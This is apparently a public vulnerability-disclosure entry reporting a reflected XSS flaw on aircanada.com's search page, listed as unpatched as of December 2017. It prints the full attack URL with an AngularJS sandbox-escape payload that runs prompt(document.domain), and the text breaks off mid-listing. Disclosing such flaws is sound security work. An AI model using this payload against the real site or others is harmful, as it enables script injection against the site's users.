aircanada.com XSS vulnerability

Vulnerable URL: https://www.aircanada.com/ca/en/aco/home/search-results.html?q=toto%27a%27.constructor.prototype.charAt=.join;$eval%27x=1%20%20;promptdocument.domain//%27; Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability type:| XSS Vulnerability...